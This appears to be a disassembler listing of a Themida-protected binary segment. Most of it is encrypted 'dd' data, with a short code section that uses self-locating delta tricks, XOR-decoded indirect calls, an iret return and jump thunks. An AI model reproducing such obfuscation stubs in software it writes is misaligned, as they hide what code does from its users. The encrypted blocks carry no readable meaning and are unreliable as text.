dd 6A90C8BAh, 0A7B679B8h, 81BEFCE5h, 0F9D1AC61h, 0F0007B5Bh
dd 8883BBB6h, 274FAF50h, 72A7F684h, 0B2ED7033h, 84933EE0h
dd 672BA7F6h, 38535F28h, 58DB5ECCh, 1E8D183Eh, 1F00656h
dd 9F2B0000h, 0FE903C5Eh, 0C3855EA1h, 580278F2h, 50D352D1h
dd 0A1BD528Eh, 26EC635Eh, 7F8041B5h, 0A1BDF71Fh, 0A063C25Eh
dd 689CCFC3h, 0BD0008BAh, 0B15F5EA1h, 47B3241Eh, 0BADC1D26h
dd 5EA1BC12h, 0C645C45Fh, 71A13917h, 49FC9616h, 6E2259E6h
dd 3970FD51h, 1C920083h, 1B629F6Bh, 82A8F3FFh, 0D6E3143h
dd 683ACEB9h, 0A1C7EAB6h, 1CF3E85Eh, 0AB0E9C6Ah, 93C45AC8h
dd 13E59767h, 0F4DBAB83h, 0C7CB6383h, 1F865EA1h, 2D6216BCh
dd 0C74BA5C3h, 15C895Ch, 0D2960000h, 3EB44DB9h, 46EBBB4Fh
dd 96C157C7h, 9D7A4162h, 0EDE122DFh, 18990DFBh, 0F3704999h
dd 535F5BF9h, 0D75AC834h, 1045C954h, 6F9105E4h, 0A7F61FC3h
dd 18F6D979h, 561EF3FEh, 5F1EAE8h, 3A7582h, 0E5DA0000h
dd 6181BEFCh, 5BF9E258h, 8A4C607h, 45A7F62Ch, 39C45BDAh
dd 4BF26A45h, 61359453h, 0F65713BFh, 0A6E9A9A7h, 1EB82E48h
dd 68CD3856h, 0DCC4BFECh, 0C3DF28EBh, 60000000h, 8F79139Fh
dd 0AB1B9A1Fh, 43A4D730h, 0EA4FDF29h, 0B7169B0Bh, 0E4961CE7h
dd 47239312h, 205BE9BDh, 87F046D4h, 33105273h, 2F5EA1F6h
dd 1A2B48BCh, 191DB9D9h, 0B100A15Eh, 0E1F47AF5h, 86099807h
dd 9BA4E603h, 7D6CE7Bh, 0CF70B3A4h, 0A45DA7C3h, 0C649BD2Eh
dd 0A7619CA5h, 807C6B9Dh, 9A724945h, 0C53FAB1Bh, 76B3A961h
dd 309D0F34h, 0B39h, 0C6E71D41h, 537086F0h, 0DFFC007Fh
dd 6102FEEBh, 0EE8F756Dh, 0B77274Fh, 80FECCF1h, 7C695D7Eh
dd 0E497EB88h, 0E517310h, 0C2F40ECh, 0AD840D58h, 2C5FB6D2h
dd 0BDC879D8h, 68161FFAh, 0A6A50496h, 4FF0F21Fh, 0A109872Fh
dd 0D053D25Eh, 58ACDFB3h, 0B9D2E43Bh, 104BD94Dh, 4ACCC7E4h
dd 0B000004h, 1A3ED1F0h, 18720396h, 1AFD3CEEh, 0E40D889Bh
dd 58E9AB54h, 17E19B17h, 0BB0E4A94h, 10935BFDh, 143ACF7h
dd 0E5379EC0h, 1B62A2ABh, 0CB6529B2h, 0FC187A3Fh, 0B9AC0B00h
dd 99048766h, 304B9406h, 126373F8h, 0A07EC125h, 0AC0B0E70h
dd 678906CAh, 4F720341h, 6A82E425h, 27AC0B16h, 91CC3DFCh
dd 55000003h, 0A1FE12BEh, 0FEFB1C5Eh, 37D05EA1h, 4A8BCC75h
dd 0A1FE8C28h, 6F8E65Eh, 178E1594h, 0D08F4A94h, 91105BF9h
dd 741F732Dh, 0CE47D534h, 0A45h, 0B2D32955h, 3F5CAADCh
dd 0C3E01C4Bh, 4D6E92CFh, 0DAFB0179h, 27433B33h, 9CCAB8DDh
dd 184D4162h, 80FBCFECh, 0EA2D5774h, 0C2C6C88h, 0B1E02958h
dd 2C5EB9D2h, 6E948DAh, 8AC83194h, 0FDC93475h, 0A5924A47h
dd 0D714CA4Dh, 0DC5BFDCCh, 70D32756h, 9CB3253h, 3CCE82D0h
dd 16F37639h, 84BAB54h, 95A2AF55h, 83F9F50Ah, 0C206587Dh
dd 0ADAC04D6h, 0B0C66356h, 0B47710A8h, 0E398C931h, 4B2A8F1Fh
dd 0E095192Ah, 60238614h, 0D84AB4D2h, 5CE5114Ah, 4ED12556h
dd 0C19079DCh, 70B1659Bh, 5627091h, 576E72F9h, 41A7F6DDh
dd 8E101FEh, 0B5A95F5Ah, 9D1C886Ah, 58CA26DEh, 988F5h
dd 14EE9600h, 9F690377h, 2FD388FEh, 0BD41388Eh, 0C43EAA18h
dd 8E7004A7h, 378B28D2h, 0A016B749h, 2E9CC135h, 182449BDh
dd 2D1FB7D7h, 0DD5A580Ch, 0BEFCE5E2h, 0B33F4081h, 3A7F2FD9h
dd 0A1FE8824h, 0E85AC55Eh, 578B0AF0h, 5BFDBB14h, 0CDC17EA1h
dd 0ADD86997h, 0B8C1857Ah, 0ABC84BDCh, 1344A9D7h, 379604E7h
dd 177788CAh, 0A2AF3CD0h, 75D042DDh, 0D131CE8Ch, 0A95D2BE0h
dd 0A2CA2CADh, 0EFB55D53h, 9B71D5B4h, 7D26DF7Fh, 8FB66EFh
dd 63030000h, 0D486F499h, 560D8122h, 0CCB509AAh, 433F9330h
dd 0FD7114B9h, 0FE9F651Dh, 8F2CD288h, 15B6423Bh, 0A1C236A1h
dd 923A5C63h, 0DF580C2Dh, 0B9D27F52h, 104BD94Dh, 6F2136E4h
dd 0CB611A20h, 0B36395C7h, 0FE44F06Eh, 8E115EA1h, 0CAEC8E2Fh
dd 0D45CC712h, 1C0h, 8F601F93h, 0DE4C2FD1h, 5DFB9C5Bh
dd 0AF7578ACh, 0FCE5FDECh, 66C937ADh, 611A98D9h, 0E1A00195h
dd 0F9D0ACC1h, 1486195Bh, 0F63346EAh, 735CFCA7h, 1EE07B9Dh
dd 1866356h, 0AC220000h, 0D8749636h, 95A7F63Bh, 0F9E8AB0Ah
dd 0D94DB9D2h, 6B14FF06h, 88D9BB5Fh, 36C2B509h, 0ABE91695h
dd 99355596h, 0D45EA15Dh, 4BDB2F5Eh, 61C007E6h, 61FFAA44h
dd 57986928h, 7910EE2Ch, 6DE84C47h, 533106AAh, 0DD0584DDh
dd 5BF954ECh, 3DC4ED1h, 977DEF8h, 36BE6AE9h, 0AC12D965h
dd 95C121F3h, 0E0A7F978h, 835FDE41h, 0A7F9786Fh, 846A25D5h
dd 561F9962h, 4C4Ch, 0C8B73B00h, 80EC086Ah, 76A9A7F9h
dd 0E3A20797h, 0E0FCE5F0h, 0A1FE56FEh, 2180235Eh, 0EF892E0h
dd 659A1D9Ch, 0CD31AE24h, 311DD859h, 95CE674h, 0F732ECAFh
dd 0B85BF9EEh, 0E70BB569h, 5DA7F620h, 0DAFC12BDh, 0C4561EECh
dd 9Ch, 4DB9D26Dh, 811F4BD9h, 0CF80DAD3h, 0C95D3CC4h, 4BF4007Bh
dd 24E71947h, 837760B6h, 446B80E2h, 0B43A5EA1h, 0C26737C3h
dd 6C98F343h, 0E1A34C4Fh, 0EF8B3E20h, 0ADF45BF8h, 9B6F1E94h
dd 1AE7A60Bh, 5005EC94h, 0D2A0C5A4h, 0AEE4CB6h, 0FC347629h
dd 74FE76Eh, 37AF0000h, 0A0DAA8CDh, 1A413556h, 88F1C5E6h
dd 7635774h, 393DD8FDh, 0C2E31941h, 4B6896CCh, 0D1F20677h
dd 5D7E8AFDh, 56FEE027h, 23580C2Bh, 139FBB96h, 18E29E77h
dd 1C44F6B9h, 205559E6h, 423055D4h, 69B8DD29h, 0B44DB9D2h
dd 0E8BA4C3Eh, 708CF549h, 0FCEF3DB1h, 80FBF708h, 0DDD0B574h
dd 5Dh, 31C5B63Ch, 6A7D3C7Dh, 67DB30Dh, 0DEDB006Ch, 0EF6A2D37h
dd 7EBF4002h, 5AF5207h, 3CFF9C2Ch, 0FD5D67E2h, 1F444A5Bh
dd 86FD33E3h, 85189B7Ah, 955EFD1Ah, 5BE4A643h, 3A33B120h
dd 0C4B68F65h, 6FB2609Eh, 0EB1253ACh, 0B8CBD270h, 0CA14974Eh
dd 0A2AE378Ch, 2A698E11h, 50h, 0BEFCE54Bh, 0FCC86181h
dd 0CEF55BF9h, 0CEBF0668h, 0E8BA1D69h, 18B4D617h, 55A7F695h
dd 4974BCAh, 0CDEC1CCFh, 0EFE3943Bh, 19980AFEh, 0B4F61396h
dd 0A355078Bh, 0ABDCAEF3h, 0AB6ACF5Fh, 87653456h, 0D74EA2AEh
dd 0C03EA42Ah, 0B6911C41h, 9E000000h, 0FEE0FCE5h, 5EA1FE56h
dd 0E0218023h, 0FDBB75FEh, 31DF465Bh, 490FD39Ch, 498EA846h
dd 77905619h, 4F000000h, 9FC82543h, 9776BB6Bh, 0F0E3A207h
dd 903C5E9Fh, 0DD5EA1FEh, 9B44C342h, 0B46690CAh, 11857966h
dd 0B14E3190h, 0FDBB0951h, 0E70D945Bh, 17798132h, 4A3056B8h
dd 3B3E5619h, 3000000h, 0EA7A139Fh, 91747EE7h, 24E74600h
dd 0C57A38A1h, 0FDB924A5h, 0DB870B5Bh, 0A0039E21h, 0CC16D98Ch
dd 3374038Ch, 0F3C3BBD3h, 59AFD9A7h, 0BED85BCAh, 56194F98h
dd 1C86h, 5E9FAB00h, 0A1FE903Ch, 6A94F25Eh, 7BAA79B8h
dd 0F89F66B8h, 0A9645EA1h, 0FFFFFEFDh, 0DAFCE5C6h, 6A64F737h
dd 29D6B9DEh, 0FD7DD2C9h, 0D240E35Bh, 6B928E6Bh, 416A61D1h
dd 0C06CF20Bh, 8DA7F30Eh, 4D8EB312h, 0F30E812Dh, 7B85E3A7h
dd 6DFE7DA4h, 8DFEDA69h, 0D939C649h, 0A2AF3593h, 96730540h
dd 0C9EA2DE8h, 7DBC6E92h, 1D841B9Ah, 0F787689h, 54BD38FBh
dd 1689E916h, 27A95951h, 1D4F43FCh, 26C3CAEBh, 0DDBCD83Ah
dd 0A6F9B556h, 82F93AC7h, 0C3A0F91Bh, 0F131F083h, 0B00AC26Eh
dd 575BE43Fh, 0B1B1D226h, 13CDDD34h, 0FF1EFE3h, 0B94D3E8Ch
dd 0A6500A88h, 473086E7h, 7D9AE3B3h, 0A1C1023Fh, 1382F775h
dd 0A15EE140h, 0DAFF6C41h, 54C65916h, 0C0FAD5BBh, 4C426397h
dd 413FB319h, 944AEFBFh, 18DB1178h, 3555EA35h, 18DB1199h
dd 38EA4DD4h, 9406F0EAh, 0CC49B4DDh, 0B6245BE6h, 4F4030F3h
dd 0D7F40075h, 0AC7E8AE3h, 0A8D810C1h, 5CA8DDE7h, 0D288063Fh
dd 0E57A6D2Ch, 55EBBBF1h, 5044D622h, 68828F00h, 0EB911D22h
dd 61208115h, 77DD8EFCh, 10BC870Ch, 0F969329Ah, 5EA10D5Dh
dd 0A268918h, 9BA49D57h, 10936517h, 62152F60h, 6B1D7196h
dd 8FF6099Dh, 0A251D6C6h, 3ABCBC8h, 4E5EA134h, 6DB574D7h
dd 5EA134C1h, 6F3FC9A3h, 865E31AEh, 5D31D49Eh, 2049DD2Bh
dd 0D9163F90h, 0C8A29837h, 0BC299D3Eh, 0C809DA48h, 0B0629CCAh
dd 7045F171h, 4C3F5EA1h, 0FBBAE5B8h, 0A1708A27h, 235AEF5Eh
dd 4C3EBEFEh, 8249E8BAh, 0E6A9977Eh, 6A033996h, 83C4FD9Eh
dd 0A172CB63h, 9C1F865Eh, 0A152E742h, 20D4875Eh, 2D5F2F72h
dd 395E78DBh, 275CC77Fh, 0FFFFFF43h, 4DB9D208h, 0C6215A28h
dd 6C806397h, 40817566h, 9076DB05h, 38FB532Ch, 7A8CFED4h
dd 9F3757A8h, 0DA5EA1B8h, 7480FB4Bh, 2C636DA6h, 840BCB05h
dd 7983FFF3h, 9BFB04A5h, 5EA1B873h, 9624E73Eh, 4EE811E5h
dd 5CC75528h, 34CAB03Eh, 50A6D066h, 46D92EF1h, 66000000h
dd 81BEFCE5h, 0FDBB1B61h, 0D57BAA5Bh, 57D71B2h, 548A2FFFh
dd 0A7F3C538h, 46B2A75h, 8C03F34Ch, 0E51A5881h, 601AFFE9h
dd 0C2A50496h, 0B14ED150h, 0FA046270h, 0D8068928h, 0A2AF8092h
dd 54678023h, 3Fh, 0BEFCE55Dh, 0BB1B6181h, 7BAA5BFDh, 7C6D20D5h
dd 51ACDBF4h, 0DFCFDB78h, 0E8D0CA6h, 0A953C7E1h, 9D272C84h
dd 0F31AD17Dh, 0A2059CA7h, 9EDC3EC3h, 27A2AF5Fh, 0E01440A2h
dd 3E61AC04h, 0D267BA5Fh, 5BF313B9h, 165EA1FEh, 9F132C8Fh
dd 2B8E1CE0h, 33A4FA68h, 0FAE7A6C7h, 8089FDCh, 0FB5A826Dh
dd 6BD52446h, 79E5BF9h, 87C56D97h, 0DB7FA7F9h, 8BFC1AF4h
dd 3CE2561Fh, 4F000000h, 44DB649Fh, 96B8A14Ch, 35779017h
dd 982FEA0Ch, 0B1F05BF9h, 41A1E2FDh, 0A7F9B315h, 0A07EC160h
dd 0A7F9B370h, 287289CAh, 81919F46h, 0FAD5A766h, 1F89F214h
dd 0DCFC56h, 9F450000h, 728F7913h, 0A1FEE410h, 0AF6EB15Eh
dd 0A4C66C1Fh, 5EA1FE08h, 0C67BDA45h, 0BA689EC8h, 20837F64h
dd 0C3BF0D61h, 0A4D76539h, 7BDA2643h, 966215ABh, 0F90EEDF5h
dd 8FF85EA1h, 288B7F68h, 33037A8Bh, 8ABF8440h, 7D81FE4Ch
dd 358908A9h, 61E4B642h, 0E5053A78h, 0A405F418h, 6EE14CB7h
dd 0DB6F0832h, 0E4E4331Ch, 0E915042h, 9F690393h, 0F31C9F3Ch
dd 434F90B1h, 736AD824h, 13921787h, 0AF33B0CFh, 9DA2FDA2h
dd 0F2936911h, 0BC1EE49Ch, 3F8F63CAh, 0EA078E1Ch, 30000001h
dd 0A115B64Ch, 2E9CC137h, 5A284DB1h, 0DCB2D32Fh, 9E3D5EA4h
dd 46BC24D6h, 0D52B5125h, 5FABC2B0h, 0EB1F483Eh, 1575BACAh
dd 580C24F9h, 0D2447BB4h, 0DA2E5FB6h, 6506E948h, 0D8816611h
dd 50337624h, 139FFC33h, 1AB2D476h, 575EA1FEh, 78B96DCCh
dd 0CA809DFDh, 0F8BB1448h, 93C5947Dh, 9170B165h, 0F48B0E70h
dd 69945BF9h, 8686D731h, 24F6594Dh, 0F67156FAh, 632CECA7h
dd 1E9E6B8Dh, 0E87356h, 0D2DC0000h, 0EE9F13B9h, 0FEA8C41Ah
dd 9DCA5EA1h, 0B16CCD61h, 7C728F6Eh, 0A539F806h, 1D916B17h
dd 0A1F904E3h, 0B627AB5Eh, 8A51D042h, 0C016E181h, 0C27033E2h
dd 2EA45DA9h, 0AFCC4FB3h, 0C654A0DBh, 27D89A47h, 59FFEC7h
dd 0E4A2D9A4h, 1DD87367h, 0E639A467h, 519C6C5h, 0F6F949E5h
dd 0A3C304A7h, 0A7F6F90Bh, 8E7CDF46h, 0B54A2DD1h, 0F9FA1274h
dd 6CB7A7F6h, 2A3254ADh, 87A2AF73h, 0F3EFE31Ch, 83FAF809h
dd 0E3D7B477h, 0D5997D87h, 0F33F8FBDh, 0D3EC61h, 0BB2B0000h
dd 3CAE1C41h, 0AED5A9CAh, 245D3152h, 9BC7BBD8h, 0D5993C61h
dd 2647BD25h, 0B7D42A50h, 3D5EAAC3h, 0C9EA1E49h, 0FA1274BBh
dd 0B7580C25h, 0B6D2477Ah, 205B2F4Ch, 0B76799C7h, 2D6E9372h
dd 0A1FEA1CDh, 9AD1EC5Eh, 0E8932922h, 6711E544h, 1D9C1D91h
dd 139FA978h, 0B80A8D77h, 0D56B3BCFh, 25A956A2h, 7F8144B0h
dd 4CAEF421h, 0C5B9DA5Dh, 3C456692h, 0BC3507C1h, 6E31D8E2h
dd 0A25FABDCh, 0F4D50161h, 1A05EA1h, 0A8D32CBEh, 2B7790E4h
dd 8959D892h, 58BC6ECBh, 4436BC43h, 0FE41E0B2h, 403B018Eh
dd 0C8A317B4h, 19956E3Ch, 0A519986Ch, 0D07C9E3Ch, 9D9B301Eh
dd 0C0F3A302h, 0EAE89F30h, 159406F0h, 43B72092h, 0CF3BAC22h
dd 3F65Fh, 0E0FF0000h, 48B2D2F1h, 0E71344DAh, 0F4E137h
dd 98661C92h, 36CCB40Ah, 50AAD664h, 0E9154CC2h, 4F8E735h
dd 0A0560096h, 26814F2h, 54000037h, 8124048Fh, 42404h
dd 2D680000h, 89000024h, 2268243Ch, 89000079h, 6851241Ch
dd 6D1F38CDh, 0D9BA5259h, 29667171h, 0CF895AD1h, 1C8B5459h
dd 4C48324h, 8B850h, 0D8010000h, 89FA8952h, 0FF585A10h
dd 815B2434h, 4C4h, 2434FF00h, 4C4815Fh, 0E9000000h, 0FFFB68F8h
dd 0B862A25Eh, 6ADDCF1h, 0E0FFC503h, 165AC56Dh, 2C8FBFDFh
dd 0D875523h, 3358C604h, 12C1FB3Eh, 6B853D0Eh, 73F510B3h
dd 604E2F5Dh, 4F98D7E7h, 7D8E109Eh, 4F34C192h, 7D4D8728h
dd 4519A415h, 46270A52h, 53AA29C6h, 48ACAB60h, 233DB6EFh
dd 1A74C066h, 2A9AB00h, 7BB75168h, 11225B2Ah, 448C3D4Ah
dd 6E246FB8h, 52717415h, 107C7A22h, 65A5C798h, 497CB0B1h
dd 2F472DEh, 553C4053h, 25185A08h, 6E097120h, 0CDEAF36h
dd 0BE8h, 91323A00h, 7F2F957Ch, 982142E8h, 54E8E881h, 0E85E266Ch
dd 0Fh, 0D4A2D0B0h, 0E669CC6Eh, 49008DD8h, 0F8546AEh, 288h
dd 5B5F5700h, 6599C681h, 0BB660000h, 0D22B35B9h, 0F3234FFh
dd 68Eh, 0E9F08100h, 59190762h, 0B9AAC781h, 0C1817C46h
dd 660890A0h, 81C78B66h, 20DEC7E9h, 0D7F1810Dh, 0F6C80F9h
dd 68Ch, 0E4EF8100h, 8900C7CBh
dd 0F6BF160Ch, 8A643384h, 1EA83DEh, 0BA61B866h, 814A4A4Ah
dd 0DC0160D7h, 28FA812Ah, 0FFFFF9Bh, 1585h, 0EAE88100h
dd 0E96485C7h, 22h, 1D2181A7h, 0CAAD6F64h, 0BF0F66DFh
dd 0FF86E9F9h, 0C1CBFFFFh, 58328B05h, 7F37F006h, 52800720h
dd 24EB4BC3h, 9 dup(0)
; ---------------------------------------------------------------------------
jmp loc_5A799E
; ---------------------------------------------------------------------------
mov [ebp+6ADDEABh], esi
mov eax, [ebp+6A8339Dh]
mov eax, [ebp+6A82185h]
lea esi, [ebp+6ADDEF5h]
lea eax, [ebp+6AB3B9Bh]
call eax
retn
; ---------------------------------------------------------------------------
push ebp
call $+5
pop ebp
sub ebp, 6ADDEFBh
cmp dword ptr [ebp+6A8339Dh], 1
jnz loc_5A7948
push dword ptr [ebp+6ADDEABh]
mov eax, [ebp+6A82185h]
xor eax, 34812736h
call eax
cmp al, 1
jnz loc_5A7941
mov eax, 1
jmp loc_5A7988
; ---------------------------------------------------------------------------
loc_5A7941: ; CODE XREF: Themida_:005A7931j
xor eax, eax
jmp loc_5A7988
; ---------------------------------------------------------------------------
loc_5A7948: ; CODE XREF: Themida_:005A7916j
push 1Ch
lea esi, [ebp+6ADDEAFh]
push esi
push dword ptr [ebp+6ADDEABh]
mov eax, [ebp+6A82185h]
xor eax, 34812736h
call eax
add esp, 0Ch
lea esi, [ebp+6ADDEAFh]
mov eax, [esi+14h]
and eax, 4
cmp eax, 4
jz loc_5A7983
xor eax, eax
jmp loc_5A7988
; ---------------------------------------------------------------------------
loc_5A7983: ; CODE XREF: Themida_:005A7976j
mov eax, 1
loc_5A7988: ; CODE XREF: Themida_:005A793Cj
; Themida_:005A7943j ...
cmp dword ptr [ebp+6A8339Dh], 1
jnz loc_5A799C
pop ebp
retn
; ---------------------------------------------------------------------------
jmp loc_5A799E
; ---------------------------------------------------------------------------
loc_5A799C: ; CODE XREF: Themida_:005A798Fj
pop ebp
iret
; ---------------------------------------------------------------------------
loc_5A799E: ; CODE XREF: Themida_:005A78DCj
; Themida_:005A7997j
lea eax, [ebp+6ADDED4h]
mov [ebp+6A81619h], eax
jmp loc_5A7A6A
; ---------------------------------------------------------------------------
db 0B0h
dd 945F9AA7h, 5000000h, 1000000h, 28000000h, 200000Ah
dd 29h dup(0)
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_5A7A6A: ; CODE XREF: Themida_:005A79AAj
jmp loc_5A8553
; ---------------------------------------------------------------------------
push 6ADE205h
jmp loc_5517CE
; ---------------------------------------------------------------------------
push 6ADE312h
jmp loc_5517CE
; ---------------------------------------------------------------------------
push 6ADE402h
jmp loc_5517CE
; ---------------------------------------------------------------------------
push 6ADE458h
jmp loc_5517CE
; ---------------------------------------------------------------------------
push 6ADE59Dh
jmp loc_5517CE
; ---------------------------------------------------------------------------
push 6ADE602h
jmp loc_5517CE
; ---------------------------------------------------------------------------
push 6ADE8EDh
jmp loc_5517CE
; ---------------------------------------------------------------------------
push 6ADE9B5h
jmp loc_5517CE
; ---------------------------------------------------------------------------
db 4Dh
dd 7C27632Ah, 0AB1492D7h, 0DD46C48Dh, 0DB6F4B1h, 1EE5216Ch
dd 0DB96B75Bh, 0F42E44Fh, 3D7418BBh, 6E2746E9h, 6C9E4CD8h
dd 0B605B72Ch, 0FF6BD016h, 1788155Ch, 0DD10DC74h, 5BF5BC4Eh
dd 31632462h, 0C32A5C8Ah, 81B60016h, 0C5C10996h, 0E1B60016h
dd 0BDA9A90Ah, 58147792h, 47h, 0EFB5E7E3h, 24E0AA72h, 2CDAB3B6h
dd 65839Ah, 0FE1365B6h, 5C427CDFh, 8B33EC30h, 0A18B1273h
dd 61C7C305h, 92BDB600h, 0AB5FF806h, 44E42548h, 2784140Dh
dd 61DF27h, 8F10FBB6h, 775D9783h, 0F07614h, 0FFC90000h
dd 0EF1155Ch, 0A1FA276Eh, 75030529h, 82166087h, 54B3C521h
dd 6F3902A5h, 0AECF50D8h, 46E5BEE3h, 6201A20Fh, 3751FF2Bh
dd 0AF587DF3h, 7C782B0h, 0C4068C2Ch, 0AF58823Bh, 5E41C568h
dd 0FA33703Dh, 5881D8D0h, 0A881AAAFh, 0DB92B112h, 0DC67D556h
dd 731F802Eh, 78B0E936h, 895BEEh, 0B9C329B6h, 0B6008981h
dd 0CBFFE843h, 9C81DE81h, 0F4243095h, 0A41FBD0Eh, 8B2D806h
dd 0B600BD10h, 9DF59F2h, 0BCAB5EB9h, 4E0B288Bh, 5F2A6E98h
dd 3F18BCABh, 1E3FA046h, 0AF25B753h, 0A3ECAFE8h, 0FCA72D8Bh
dd 0F0F2165Bh, 20EC7F2Fh, 8890283h, 5FFA0000h, 22F9016h
dd 3860C347h, 0E48A3571h, 99BA65A1h, 0A8C956D4h, 684C96Ah
dd 6AB0FD9Dh, 0A4E2ABC9h, 951158FBh, 79B1CB11h, 4BB605B9h
dd 59BA260Dh, 0FA337035h, 1D50F1BEh, 4E072689h, 0B5E7D3F8h
dd 53ABE286h, 749C71DEh, 0FC2A0323h, 0F8334Ah, 0CBA335B6h
dd 90C08B6Dh, 1C37D95Fh, 2D6805EEh, 0D6DE188Bh, 0CDB6015Ch
dd 0E8B9E6AFh, 0EEA40940h, 3F61F0B1h, 5B81CB54h, 15CE921h
dd 3870DBB6h, 7650807Ch, 0C2644F14h, 367F1E8Fh, 0DA78B0E9h
dd 0B7h, 3959BA6Dh, 0BAFE2F74h, 0F19756F5h, 0C1227BB8h
dd 5445EAA3h, 0C2644F7Bh, 0AF09228Fh, 8FC2633Ch, 0DB57D822h
dd 0A609AF57h, 0C36CCC89h, 0B75DE9A0h, 3A672A4Ch, 45E8B7E1h
dd 0B6E6A70Ch, 1CAFD90Dh, 0E6B5FFE3h, 0EA5F994Dh, 325E68B5h
dd 76D1BBFDh, 3F497DC6h, 0BCAB5992h, 0C023C770h, 0A234D29Fh
dd 0A8AD55ADh, 1BE13758h, 2EDA97B8h, 0EC7EE49Eh, 7C40C1E2h
dd 0ED000007h, 1C87034Ah, 4BF43277h, 7D26642Dh, 0AD1694D1h
dd 0FE45C18Ch, 7B3657BBh, 0AFE2842Fh, 0DD94B81Bh, 0E47E649h
dd 8C3E2CB8h, 0B605BA8Ch, 0FF0B3076h, 2C97135Eh, 1CFA4009h
dd 55DA9FB3h, 0FFCFD444h, 5288155Ch, 179CD171h, 6E0D9206h
dd 5E498327h, 82F41C2Fh, 0CF028F62h, 8E672AD8h, 0B5E7A02Ah
dd 0CAED80Eh, 0F6B606A3h, 0F903A95Dh, 0B606A2C1h, 485EA883h
dd 0C49E36DBh, 8E71FB3Dh, 0E660A6EFh, 0B6062A32h, 297DC869h
dd 0C6769978h, 0CC3F497Dh, 0B6BCAE3Fh, 0E786699Dh, 802801AEh
dd 3767EE18h, 0F0245077h, 0BE6D9F4Bh, 84571F46h, 94D17D66h
dd 0B4F41E0Fh, 8E571F46h, 0FB67CCA5h, 46EF2B5Dh, 0F2D5571Fh
dd 84951A53h, 1ABA0DABh, 68410429h, 0B07D08B2h, 0EC475DCAh
dd 0FFB6D53Eh, 0A46508ABh, 33D5CE83h, 4B5FC9A3h, 8C4D36F5h
dd 0FD000006h, 2C97135Ah, 5BC44207h, 8D36743Dh, 0BD66A4E1h
dd 0CE55D19Ch, 8BC667ABh, 0BFF2943Fh, 0EDA4C86Bh, 1E57F659h
dd 0BCCE1C88h, 0B605BB7Ch, 0E71B0046h, 0AED80EB5h, 0B605B70Ch
dd 0FEB7D5F6h, 51FEE105h, 2D9614h, 2447D845h, 0C315BB6Dh
dd 189BF324h, 636A7h, 0C980A700h, 0F8BDD27Dh, 2E6701A2h
dd 5E1B3798h, 8BC667C8h, 1101B03Fh, 46E93D70h, 72DD6924h
dd 0A40F9BD2h, 0EA72C881h, 0BAD2D670h, 6AB0B605h, 0EB5E7CDh
dd 0B70CAED8h, 0B4D2B605h, 5B63264Bh, 0B605B75Fh, 0B6C3C701h
dd 9681B605h, 93BDFB54h, 82A102B8h, 6BCC7FCBh, 0A4902AD0h
dd 9EB605B7h, 51EB11B5h, 0B605B859h, 3BA8002Bh, 5B7F433h
dd 7A3B90B6h, 0E0ADCD36h, 33F0EC48h, 0D43F1472h, 0EE8EFFB2h
dd 0F7217AA7h, 6445h, 0B6E7DE00h, 71ADDF0Bh, 77AF57D7h
dd 42AE78Ch, 0D2CBDC41h, 169BD271h, 236D9305h, 1D1F175Fh
dd 58113418h, 0F0E9C2DBh, 0D56BABB3h, 0AC07AF58h, 903FB903h
dd 0CC85A7A1h, 6786D832h, 42896531h, 5B4412DFh, 0FB2C7138h
dd 179FBDh, 7E610000h, 1A1390DDh, 0A8DF959Eh, 3B000001h
dd 0C5DE95B1h, 298FD8F0h, 0F1220102h, 0A4C2F843h, 57D72662h
dd 0E5331CAFh, 0EC9ECD7Fh, 0CB64B5FFh, 274CB75Dh, 4E303662h
dd 4D65AA9Bh, 14B654EFh, 6C52AAA5h, 0AE6FB49Fh, 0F711B50Eh
dd 72FE1420h, 464284E2h, 3C72FE14h, 238C3A13h, 52FD4900h
dd 1C4E7A33h, 0A4362C66h, 4F1BE07h, 0C7620000h, 0FA97388Eh
dd 0A0C86BBFh, 5CF25DE9h, 1228D19h, 4071FE4Ch, 0AEFCB1D2h
dd 92286505h, 0CC5A1331h, 3D89C063h, 1109B3A9h, 0F3B605BCh
dd 5CFF8EB5h, 71528815h, 21B98DDh, 6FC98CA1h, 1BCF74D8h
dd 0FFF8A6E1h, 77B39CB5h, 5FBE4F89h, 620E4BBCh, 5938CC1h
dd 16B2FB9Ah, 0F32A9B5Eh, 8CD0B172h, 0FD000004h, 2C97135Ah
dd 5BC44207h, 8D36743Dh, 0BD66A4E1h, 0CE55D19Ch, 8BC667ABh
dd 0BFF2943Fh, 0EDA4C86Bh, 1E57F659h, 0BCCE1C88h, 0B605BD7Ch
dd 0FF1B0046h, 1788155Ch, 31F03D74h, 71141B84h, 0DE04E238h
dd 57D76CACh, 0BBFD56AFh, 0DFD203FFh, 5EEA12h, 0E73D0000h
dd 0F7D80EB5h, 0BAF7975Ah, 21AA5CC1h, 9AE5514Ch, 0D71D9B74h
dd 7F06B5h, 0BBDBFCB6h, 0B891DC7Eh, 0E449227Bh, 7F2262h
dd 0AAE381B6h, 0B6FB9C05h, 64CDE669h, 3FE04BD5h, 75B5D77Dh
dd 4FB6007Fh, 8484C6E4h, 7EB6007Fh, 0FBD743D5h, 2A14777Eh
dd 0BEE3AAC9h, 3409CB6Dh, 12000000h, 0D80EB5E7h, 2715AEh
dd 0A644EFB6h, 0BBDD103Dh, 278D8D3Fh, 0DC77B600h, 4ABC0AE3h
dd 0B600274Bh, 2E7C3558h, 0ADE885h, 3AEBFh, 0D7785B00h
dd 0BA151E9Ah, 22913559h, 2F9450EFh, 0B4E54A23h, 0CA71A364h
dd 0D7A7EA1Ch, 7F9DB600h, 0D7CDCDh, 393BBFB6h, 5723C83Bh
dd 294BBC97h, 792A7760h, 0A70E93DAh, 0DE7E6D36h, 0E5E67584h
dd 8AFBAE5Ch, 2C7DA2EBh, 2E759733h, 14BCA959h, 0D473A6DAh
dd 0B2ABD20Ch, 0E1A8CB74h, 0E259FBBCh, 309782C4h, 0C26DC351h
dd 70319A5Dh, 0E8A1C32Ch, 53F1524Bh, 72119E1Ah, 0F85CEF3Bh
dd 0E055A743h, 0B9F59E88h, 32FB3F49h, 6EC9C351h, 8F392375h
dd 0C9F966F0h, 6B3479D2h, 0FE3A4CC8h, 0C4C9F966h, 2E54726Bh
dd 0F9679C9Ch, 294566C9h, 7012736Ch, 71A7F03Dh, 0BD664F92h
dd 246D10F3h, 3A8133F4h, 9AA37A8Ch, 0B661D0A1h, 9298A70h
dd 6ACEDF44h, 42EFA6C5h, 0A00D40E1h, 0D0D758CDh, 0E5A6E4ADh
dd 0ACDE0CB7h, 0D749AF7Dh, 0D53EEC47h, 79B2FFB6h, 0B0D34C3Fh
